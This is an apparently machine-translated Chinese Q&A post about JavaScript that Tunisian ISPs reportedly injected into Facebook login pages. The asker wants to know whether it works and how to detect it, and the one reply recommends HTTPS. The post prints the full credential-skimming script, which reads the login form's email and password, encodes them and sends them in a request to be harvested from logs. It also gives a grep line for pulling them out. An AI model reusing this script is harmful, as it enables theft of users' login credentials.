2011-06-30 23 views
2

本页面声称,突尼斯ISP被注入的JavaScript到Facebook页面的源代码:JavaScript注入由ISP

http://www.r00ted.com/doku.php?id=injection_tunisie

function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F; 
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;} 
function r5t(len){var st="";for(i=0;i<len;i++)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;} 
function hAAAQ3d() { 
var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 = frm.pass.value; 
var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm = navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);} 
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;} 
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");} 
function inv0k3(url) {var xr = new ActiveXObject('Microsoft.XMLHTTP'); xr.open("GET", url, false); xr.send("");} 

根据页面的用户wo0dh3ad不存在,但是这将允许在日志中执行简单的grep来获取用户的密码(或密码散列)。

grep wo0dh3ad /var/log/FAI.log 

这实际上可行吗?如果是这样,是否有办法检测到某个页面被篡改,只是说某些东西很奇怪,而另一个浏览器/连接应该被使用?

回答

2

使用SSL(HTTPS)防止中间人攻击。